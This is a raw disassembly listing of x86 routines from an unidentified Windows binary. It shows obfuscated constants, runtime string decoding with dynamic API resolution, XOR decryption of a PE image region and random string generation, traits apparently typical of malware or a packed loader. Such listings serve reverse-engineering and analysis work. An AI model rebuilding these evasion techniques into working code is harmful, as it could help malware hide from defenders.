mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_114]
push edi
call sub_43FB03
add esp, 144h
pop edi
pop esi
pop ebx
leave
retn
sub_43E114 endp
; =============== S U B R O U T I N E =======================================
sub_43E266 proc near ; DATA XREF: sub_443207+7o
mov eax, dword_551154
add eax, dword_5511E4
sub eax, 0Bh
push eax
call ds:dword_54E960
retn
sub_43E266 endp
; =============== S U B R O U T I N E =======================================
sub_43E27C proc near ; DATA XREF: .data:00551300o
mov eax, 80004001h
retn 18h
sub_43E27C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E284 proc near ; CODE XREF: sub_44726D+171p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_4475B4
push ebx
push esi
push edi
mov eax, dword_5511AC
add eax, dword_551154
sub eax, 0Ah
push eax
lea eax, [ebp+var_FFF]
push eax
call sub_43F090
add esp, 8
mov edi, dword_5511C8
sub edi, 8
jmp short loc_43E2D7
; ---------------------------------------------------------------------------
loc_43E2BD: ; CODE XREF: sub_43E284+59j
cmp [ebp+edi+var_FFF], 23h
jnz short loc_43E2D6
movsx eax, word_551198
dec eax
mov [ebp+edi+var_FFF], al
loc_43E2D6: ; CODE XREF: sub_43E284+41j
inc edi
loc_43E2D7: ; CODE XREF: sub_43E284+37j
cmp edi, 0FFFh
jb short loc_43E2BD
lea esi, [ebp+var_FFF]
loc_43E2E5: ; CODE XREF: sub_43E284+108j
push offset byte_552767
call sub_43CAF7
push offset dword_449FE0
movsx ebx, word_5510C4
sub ebx, 6
push ebx
mov ebx, dword_551108
movsx edx, word_551194
add ebx, edx
sub ebx, 9
push ebx
push eax
movsx ebx, word_5510D0
add ebx, dword_55124C
sub ebx, 0Fh
push ebx
mov ebx, dword_551224
add ebx, dword_5511D8
sub ebx, 5
push ebx
push esi
push [ebp+arg_0]
mov ebx, dword_5511D0
add ebx, dword_551154
sub ebx, 0Dh
and ebx, 0FFh
push ebx
call sub_442B82
add esp, 28h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_43E35B: ; CODE XREF: sub_43E284+DCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43E35B
movsx edx, word_551094
sub edx, 1
mov ebx, eax
add ebx, esi
mov esi, edx
add esi, ebx
movsx eax, byte ptr [esi]
movsx edx, word_551218
movsx ecx, word_551128
add edx, ecx
sub edx, 5
cmp eax, edx
jnz loc_43E2E5
pop edi
pop esi
pop ebx
leave
retn
sub_43E284 endp
; =============== S U B R O U T I N E =======================================
sub_43E397 proc near ; CODE XREF: sub_43D76D+277p
push edi
push offset byte_552759
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551258, eax
mov eax, dword_551200
sub eax, 5
cmp dword_551258, eax
jnz short loc_43E3D6
push offset asc_55274B ; "\n"
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551258, eax
loc_43E3D6: ; CODE XREF: sub_43E397+26j
push offset byte_552741
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_4CD934, eax
push offset byte_552737
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_44B1A4, eax
push offset byte_55272D
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_50E940, eax
push offset byte_552725
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_550040, eax
push offset byte_55271D
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_48B9F0, eax
push offset byte_552713
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_50E924, eax
push offset word_55270A
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_4CE8F0, eax
push offset dword_552700
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_48B9E0, eax
push offset dword_5526F8
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_44901C, eax
push offset asc_5526ED ; "\a"
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_44803C, eax
push offset word_5526E2
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_50E928, eax
push offset word_5526D6
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_4CC21C, eax
push offset dword_5526CC
call sub_43CAF7
push eax
call sub_444923
mov ds:dword_4CD814, eax
push offset word_5526C2
call sub_43CAF7
push eax
call sub_444923
add esp, 70h
mov ds:dword_44802C, eax
pop edi
retn
sub_43E397 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E501 proc near ; CODE XREF: sub_446250:loc_4467CAp
; sub_446ED7+349p
var_445 = byte ptr -445h
var_341 = byte ptr -341h
var_23D = byte ptr -23Dh
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
push ebp
mov ebp, esp
sub esp, 448h
push ebx
push esi
push edi
lea eax, [ebp+var_341]
push eax
mov eax, dword_5511AC
add eax, dword_5510F0
sub eax, 5
push eax
mov eax, dword_551220
sub eax, 2
push eax
push 1Ch
movsx eax, word_5510C4
add eax, dword_5511C8
sub eax, 0Eh
push eax
call ds:dword_48BA00
lea eax, [ebp+var_341]
push eax
lea eax, [ebp+var_445]
push eax
call ds:dword_44B1A4
push offset asc_5526B7 ; "\a"
call sub_43CAF7
push eax
lea edx, [ebp+var_445]
push edx
call ds:dword_44802C
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_445]
push eax
call ds:dword_4CC228
mov ebx, eax
mov eax, dword_551230
neg eax
cmp ebx, eax
jz loc_43E64D
lea eax, [ebp+var_112]
push eax
lea eax, [ebp+var_341]
push eax
call sub_442408
add esp, 8
xor esi, esi
inc esi
loc_43E5B2: ; CODE XREF: sub_43E501+E6j
lea eax, [ebp+var_13E]
push eax
push ebx
call ds:dword_449FC8
mov esi, eax
or esi, esi
jnz short loc_43E5CF
push ebx
call ds:dword_44B5BC
jmp short loc_43E5E9
; ---------------------------------------------------------------------------
loc_43E5CF: ; CODE XREF: sub_43E501+C3j
lea eax, [ebp+var_112]
push eax
lea eax, [ebp+var_341]
push eax
call sub_442408
add esp, 8
or esi, esi
jnz short loc_43E5B2
loc_43E5E9: ; CODE XREF: sub_43E501+CCj
movsx eax, word_5511A8
mov edx, dword_551174
sub edx, 7
mov ds:byte_54EB10[eax], dl
movsx edi, word_5510A8
jmp short loc_43E645
; ---------------------------------------------------------------------------
loc_43E609: ; CODE XREF: sub_43E501+14Aj
push offset byte_5526AD
call sub_43CAF7
push ds:dword_4CE920[edi*4]
push ds:dword_48C220[edi*4]
push eax
lea edx, [ebp+var_23D]
push edx
call ds:dword_50E928
lea eax, [ebp+var_23D]
push eax
push offset byte_54EB10
call ds:dword_44802C
add esp, 1Ch
inc edi
loc_43E645: ; CODE XREF: sub_43E501+106j
cmp edi, dword_5512A4
jb short loc_43E609
loc_43E64D: ; CODE XREF: sub_43E501+92j
pop edi
pop esi
pop ebx
leave
retn
sub_43E501 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E652 proc near ; DATA XREF: .data:00551304o
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
movsx eax, word_551104
mov edx, dword_551110
lea eax, [eax+edx+0BFh]
cmp [ebp+arg_4], eax
jnz loc_43E78F
mov [ebp+var_18], 3
lea eax, [ebp+var_10]
push eax
mov eax, dword_5512E8
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov [ebp+var_4], eax
mov eax, dword_5510E4
add eax, dword_5511AC
sub eax, 7
cmp [ebp+var_4], eax
jnz loc_43E78B
dec [ebp+var_10]
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_5512E8
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov [ebp+var_4], eax
movsx eax, word_5510B4
add eax, dword_5511F8
sub eax, 8
cmp [ebp+var_4], eax
jnz loc_43E78B
lea eax, [ebp+var_20]
push eax
push offset dword_552AA8
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_5510F0
sub eax, 3
cmp [ebp+var_4], eax
jnz short loc_43E782
lea eax, off_5512E4
mov [ebp+var_8], eax
push eax
mov ebx, [eax]
call dword ptr [ebx+4]
lea eax, [ebp+var_24]
push eax
push offset dword_5529E8
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov [ebp+var_4], eax
mov eax, dword_551120
add eax, dword_551090
sub eax, 0Ch
cmp [ebp+var_4], eax
jnz short loc_43E770
lea eax, [ebp+var_2C]
push eax
push offset dword_5529E8
push [ebp+var_24]
push [ebp+var_20]
call sub_43F748
add esp, 10h
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43E770: ; CODE XREF: sub_43E652+F9j
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, [ebp+var_20]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43E782: ; CODE XREF: sub_43E652+BEj
mov eax, [ebp+var_1C]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_43E78B: ; CODE XREF: sub_43E652+56j
; sub_43E652+94j
xor eax, eax
jmp short loc_43E794
; ---------------------------------------------------------------------------
loc_43E78F: ; CODE XREF: sub_43E652+27j
mov eax, 80020003h
loc_43E794: ; CODE XREF: sub_43E652+13Bj
pop edi
pop esi
pop ebx
leave
retn 24h
sub_43E652 endp
; =============== S U B R O U T I N E =======================================
sub_43E79B proc near ; DATA XREF: .data:005512B4o
mov eax, 80004001h
retn 8
sub_43E79B endp
; =============== S U B R O U T I N E =======================================
sub_43E7A3 proc near ; CODE XREF: sub_43D76D+272p
push offset byte_552697
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_48C214, eax
push offset byte_552689
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_48B9EC, eax
push offset dword_55267C
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44B5BC, eax
push offset dword_55266C
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_449FC0, eax
push offset byte_55265D
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44800C, eax
push offset byte_552647
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CD818, eax
push offset dword_552630
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_50E920, eax
push offset byte_552623
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44B5CC, eax
push offset dword_55260C
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_50E934, eax
push offset byte_5525F7
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54E94C, eax
push offset dword_5525E4
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54FB10, eax
push offset byte_5525CD
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_448010, eax
push offset byte_5525C1
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_448034, eax
push offset dword_5525A8
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CE900, eax
push offset byte_55259B
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CC544, eax
push offset word_55258A
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54FF28, eax
push offset word_552572
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54EA78, eax
push offset word_55255A
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_448014, eax
push offset word_55254A
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CE908, eax
push offset dword_552538
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CC228, eax
push offset byte_55251D
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CD944, eax
push offset asc_55250E ; "\v"
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54FF2C, eax
push offset word_5524FA
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_448040, eax
push offset word_5524EA
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_48C21C, eax
push offset byte_5524DB
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54FB1C, eax
push offset asc_5524CC ; "\v"
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CE910, eax
push (offset asc_5524BC+2)
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CD938, eax
push offset byte_5524AF
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54FB18, eax
push offset dword_5524A0
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CD810, eax
push offset dword_55248C
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44B598, eax
push offset dword_55247C
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54EA70, eax
push offset asc_55246B ; "\r"
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CC430, eax
push offset word_55245A
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_449FC8, eax
push offset word_552442
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_48B9F8, eax
push offset asc_552434 ; "\n"
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54E960, eax
push offset byte_552429
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44B094, eax
push offset dword_552418
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_448038, eax
push offset dword_552408
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_48C218, eax
push offset word_5523F6
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54FF30, eax
push offset asc_5523E7 ; "\v"
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CD948, eax
push offset word_5523D6
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54E964, eax
push offset dword_5523C4
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44B5A8, eax
push offset dword_5523B8
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_448000, eax
push offset dword_5523A8
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_448044, eax
push offset byte_552391
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44B5B0, eax
push offset byte_552377
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_4CE918, eax
push offset word_552362
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_44B088, eax
push offset byte_552355
call sub_43CAF7
push eax
call sub_43F730
mov ds:dword_54FF1C, eax
push offset word_55233E
call sub_43CAF7
push eax
call sub_43F730
add esp, 188h
mov ds:dword_48B9F4, eax
retn
sub_43E7A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EBAF proc near ; CODE XREF: sub_443843+18Bp
; sub_443843+195p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
mov eax, dword_5510C8
add eax, dword_551140
sub eax, 2
push eax
push dword_551180
push [ebp+arg_0]
movsx eax, word_5510D0
add eax, dword_55123C
sub eax, 6
push eax
mov eax, dword_5511B0
sub eax, 7
push eax
call ds:dword_54FF20
push eax
call ds:dword_4CD948
leave
retn
sub_43EBAF endp
; =============== S U B R O U T I N E =======================================
sub_43EBF8 proc near ; CODE XREF: sub_446ED7+34p
push edi
push offset byte_55232F
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551280, eax
mov eax, dword_5511E4
sub eax, 4
cmp dword_551280, eax
jnz short loc_43EC37
push offset dword_552320
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551280, eax
loc_43EC37: ; CODE XREF: sub_43EBF8+26j
push offset word_55230A
call sub_43CAF7
pop ecx
push eax
push dword_551280
call ds:dword_44B1AC
mov ds:dword_448028, eax
pop edi
retn
sub_43EBF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EC56 proc near ; CODE XREF: sub_446ED7+2D3p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, [ebp+arg_0]
mov esi, [eax+3Ch]
mov ecx, esi
add ecx, eax
mov eax, [ecx+28h]
mov edx, [ebp+arg_0]
lea esi, [eax+edx+0Dh]
movzx eax, byte ptr [esi+1]
mov edx, dword_551134
add edx, 1FEh
mov ebx, eax
imul ebx, edx
movzx eax, byte ptr [esi]
xor eax, 4Dh
mov [ebp+var_1], al
mov ecx, dword_551150
sub ecx, 2
jmp short loc_43ECA7
; ---------------------------------------------------------------------------
loc_43EC99: ; CODE XREF: sub_43EC56+53j
movzx eax, byte ptr [esi+ecx]
movzx edx, [ebp+var_1]
xor eax, edx
mov [esi+ecx], al
inc ecx
loc_43ECA7: ; CODE XREF: sub_43EC56+41j
cmp ecx, ebx
jb short loc_43EC99
mov eax, [ebp+arg_4]
mov [eax], ebx
mov eax, esi
pop esi
pop ebx
leave
retn
sub_43EC56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ECB6 proc near ; CODE XREF: sub_443843+43p
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov edi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_108]
push eax
call ds:dword_44B5B0
movsx eax, word_551128
mov edx, dword_551178
add edx, dword_5510B0
sub edx, 0Eh
mov byte ptr [ebp+eax+var_10C+2], dl
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
push eax
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call ds:dword_4CE900
push offset word_552302
call sub_43CAF7
push [ebp+var_10C]
push eax
push edi
call ds:dword_50E928
add esp, 10h
movsx eax, word_551240
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_43ED7F
; ---------------------------------------------------------------------------
loc_43ED50: ; CODE XREF: sub_43ECB6+D4j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 41h
jl short loc_43ED66
cmp al, 5Ah
jg short loc_43ED66
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 20h
loc_43ED66: ; CODE XREF: sub_43ECB6+A2j
; sub_43ECB6+A6j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 30h
jl short loc_43ED7C
cmp al, 39h
jg short loc_43ED7C
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 31h
loc_43ED7C: ; CODE XREF: sub_43ECB6+B8j
; sub_43ECB6+BCj
inc [ebp+var_4]
loc_43ED7F: ; CODE XREF: sub_43ECB6+98j
mov eax, dword_551170
add eax, 4
cmp [ebp+var_4], eax
jb short loc_43ED50
pop edi
leave
retn
sub_43ECB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43ED8F proc near ; CODE XREF: sub_441052+3DAp
; sub_441052+438p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, esi
xor eax, [ebp+arg_8]
xor eax, [ebp+arg_C]
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43F3EA
add esp, 8
mov edi, eax
add edi, esi
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_43ED8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43EDC6 proc near ; DATA XREF: sub_443843+186o
push ebp
mov ebp, esp
loc_43EDC9: ; CODE XREF: sub_43EDC6+2Dj
call sub_43E114
mov eax, dword_5511A0
add eax, dword_5510E8
sub eax, 7
mov edx, dword_551140
add edx, 0EA5Fh
imul eax, edx
push eax
call ds:dword_50E924
pop ecx
jmp short loc_43EDC9
sub_43EDC6 endp
; ---------------------------------------------------------------------------
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EDF9 proc near ; CODE XREF: sub_44250C+144p
; sub_443843+108p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, dword_551248
mov esi, eax
add esi, dword_551188
sub esi, 9
jmp short loc_43EE49
; ---------------------------------------------------------------------------
loc_43EE14: ; CODE XREF: sub_43EDF9+53j
call ds:dword_550040
mov edi, dword_5511A0
add edi, 53h
movsx edx, word_5511A4
add edi, edx
mov edx, 10624DD3h
push ecx
mov ecx, eax
imul edx
sar edx, 7
sar ecx, 1Fh
sub edx, ecx
mov eax, edx
pop ecx
add edi, eax
mov edx, edi
mov [ebx+esi], dl
inc esi
loc_43EE49: ; CODE XREF: sub_43EDF9+19j
cmp esi, [ebp+arg_4]
jl short loc_43EE14
mov eax, [ebp+arg_4]
mov edx, dword_551230
add edx, dword_5510EC
sub edx, 2
mov [ebx+eax], dl
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43EDF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EE6A proc near ; DATA XREF: sub_446ED7+1A5o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push edi
mov eax, [ebp+arg_4]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_44B5C8
pop edi
pop ebp
retn 10h
sub_43EE6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43EE88 proc near ; DATA XREF: .data:005512C0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_5511DC
add eax, 2
add eax, dword_5511C8
cmp ds:dword_44B5D0, eax
jnb short loc_43EEBC
mov eax, dword_5511B4
sub eax, 4
mov ds:dword_44B5D0, eax
loc_43EEBC: ; CODE XREF: sub_43EE88+25j
mov eax, dword_5511C0
mov edi, eax
add edi, dword_5510E8
sub edi, 2
jmp short loc_43EEDA
; ---------------------------------------------------------------------------
loc_43EECE: ; CODE XREF: sub_43EE88+64j
lea ebx, ds:44A0E0h[edi*4]
cmp esi, ebx
jz short loc_43EEEE
inc edi
loc_43EEDA: ; CODE XREF: sub_43EE88+44j
mov eax, dword_5511D4
add eax, 3DDh
add eax, dword_551158
cmp edi, eax
jb short loc_43EECE
loc_43EEEE: ; CODE XREF: sub_43EE88+4Fj
movsx eax, word_551138
movsx edx, word_551164
lea eax, [eax+edx+3E4h]
cmp edi, eax
jnz short loc_43EF0E
xor eax, eax
jmp loc_43F089
; ---------------------------------------------------------------------------
loc_43EF0E: ; CODE XREF: sub_43EE88+7Dj
movzx esi, ds:word_48BA10[edi*2]
mov ebx, dword_551214
add ebx, dword_5510E4
sub ebx, 7
cmp esi, ebx
jnz short loc_43EF5F
movzx eax, ds:byte_44B1B0[edi]
push eax
push ds:dword_449020[edi*4]
call sub_440F1C
add esp, 8
movsx esi, word_5511F0
add esi, dword_5510D8
sub esi, 0Ch
mov ds:dword_44A0E0[edi*4], esi
xor eax, eax
jmp loc_43F089
; ---------------------------------------------------------------------------
loc_43EF5F: ; CODE XREF: sub_43EE88+9Fj
movzx esi, ds:word_48BA10[edi*2]
mov ebx, dword_5511D0
add ebx, 0FFF4h
add ebx, dword_5511B4
cmp esi, ebx
jnz loc_43F06A
mov eax, dword_5510E8
movsx edx, word_5510CC
add eax, edx
sub eax, 2
mov [ebp+var_4], eax
jmp loc_43F053
; ---------------------------------------------------------------------------
loc_43EF9A: ; CODE XREF: sub_43EE88+1D8j
mov esi, [ebp+var_4]
mov ebx, esi
shl ebx, 2
mov edx, dword_5511D8
add edx, dword_5511D4
sub edx, 0Ch
cmp ds:dword_44A0E0[ebx], edx
jz loc_43F050
movzx edx, ds:word_48BA10[esi*2]
mov ecx, dword_551110
add ecx, 0FFF6h
movsx eax, word_551218
add ecx, eax
cmp edx, ecx
jz short loc_43F050
mov edx, ds:dword_449020[edi*4]
cmp ds:dword_449020[ebx], edx
jnz short loc_43F050
mov bl, ds:byte_44B1B0[esi]
cmp bl, ds:byte_44B1B0[edi]
jnz short loc_43F050
movzx esi, ds:word_48BA10[esi*2]
mov ebx, dword_551184
sub ebx, 3
cmp esi, ebx
jnz short loc_43F041
mov esi, [ebp+var_4]
movzx ebx, ds:byte_44B1B0[esi]
push ebx
push ds:dword_449020[esi*4]
call sub_440F1C
add esp, 8
mov esi, dword_551234
sub esi, 8
mov ds:dword_44A0E0[edi*4], esi
jmp short loc_43F066
; ---------------------------------------------------------------------------
loc_43F041: ; CODE XREF: sub_43EE88+18Aj
mov esi, [ebp+var_4]
lea esi, ds:48BA10h[esi*2]
dec word ptr [esi]
jmp short loc_43F066
; ---------------------------------------------------------------------------
loc_43F050: ; CODE XREF: sub_43EE88+130j
; sub_43EE88+155j ...
inc [ebp+var_4]
loc_43F053: ; CODE XREF: sub_43EE88+10Dj
mov eax, dword_551170
add eax, 3E4h
cmp [ebp+var_4], eax
jb loc_43EF9A
loc_43F066: ; CODE XREF: sub_43EE88+1B7j
; sub_43EE88+1C6j
xor eax, eax
jmp short loc_43F089
; ---------------------------------------------------------------------------
loc_43F06A: ; CODE XREF: sub_43EE88+F3j
movzx esi, ds:word_48BA10[edi*2]
mov ebx, dword_551248
sub ebx, 3
cmp esi, ebx
jle short loc_43F087
dec ds:word_48BA10[edi*2]
loc_43F087: ; CODE XREF: sub_43EE88+1F5j
xor eax, eax
loc_43F089: ; CODE XREF: sub_43EE88+81j
; sub_43EE88+D2j ...
pop edi
pop esi
pop ebx
leave
retn 24h
sub_43EE88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F090 proc near ; CODE XREF: sub_43E284+26p
; sub_443843+230p ...
var_120A = byte ptr -120Ah
var_110B = byte ptr -110Bh
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 120Ch
call sub_4475B4
push ebx
push esi
push edi
push offset byte_551EF3
call sub_43CAF7
push eax
lea edi, [ebp+var_FFF]
push edi
call ds:dword_50E928
add esp, 0Ch
mov eax, dword_551154
mov esi, eax
add esi, dword_5511E0
sub esi, 0Ch
jmp short loc_43F0ED
; ---------------------------------------------------------------------------
loc_43F0CD: ; CODE XREF: sub_43F090+63j
cmp [ebp+esi+var_FFF], 23h
jnz short loc_43F0EC
mov eax, dword_551188
add eax, dword_55112C
sub eax, 0Dh
mov [ebp+esi+var_FFF], al
loc_43F0EC: ; CODE XREF: sub_43F090+45j
inc esi
loc_43F0ED: ; CODE XREF: sub_43F090+3Bj
cmp esi, 0FFFh
jb short loc_43F0CD
movsx eax, word_551244
mov ebx, eax
add ebx, dword_55112C
sub ebx, 0Fh
mov eax, dword_5511F8
movsx edx, word_5511A4
add eax, edx
sub eax, 9
mov [ebp+var_1004], eax
mov eax, dword_551200
sub eax, 5
cmp [ebp+arg_0], eax
jnz short loc_43F18A
loc_43F12B: ; CODE XREF: sub_43F090+F8j
mov eax, [ebp+arg_4]
cmp [ebp+var_1004], eax
jnz short loc_43F14D
lea eax, [ebp+ebx+var_FFF]
push eax
push offset dword_54E970
call sub_4475D4
jmp loc_43F3E5
; ---------------------------------------------------------------------------
loc_43F14D: ; CODE XREF: sub_43F090+A4j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_43F157: ; CODE XREF: sub_43F090+CCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F157
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_55120C
add edx, dword_5511D8
sub edx, 8
cmp eax, edx
jz loc_43F3E5
jmp short loc_43F12B
; ---------------------------------------------------------------------------
loc_43F18A: ; CODE XREF: sub_43F090+99j
movsx eax, word_551244
mov ebx, eax
add ebx, dword_55115C
sub ebx, 0Bh
mov eax, dword_5512A0
mov [ebp+var_1008], eax
movsx eax, word_551194
dec eax
mov edx, [ebp+arg_0]
movsx ecx, word_551094
sub ecx, 2
mov [edx+eax], cl
mov eax, dword_5511B8
movsx edx, word_551128
add eax, edx
sub eax, 9
mov [ebp+var_1004], eax
loc_43F1D6: ; CODE XREF: sub_43F090+32Dj
call ds:dword_550040
mov ecx, 14h
cdq
idiv ecx
mov [ebp+var_100C], edx
push offset dword_551EE8
call sub_43CAF7
push eax
lea edi, [ebp+var_110B]
push edi
call sub_4475D4
lea eax, [ebp+ebx+var_FFF]
push eax
lea eax, [ebp+var_110B]
push eax
call ds:dword_44802C
add esp, 0Ch
mov eax, dword_55123C
add eax, 2
cmp [ebp+var_100C], eax
jnb loc_43F30B
push [ebp+var_1008]
lea eax, [ebp+var_120A]
push eax
call sub_445E8D
movsx eax, word_551144
sub eax, 3
push eax
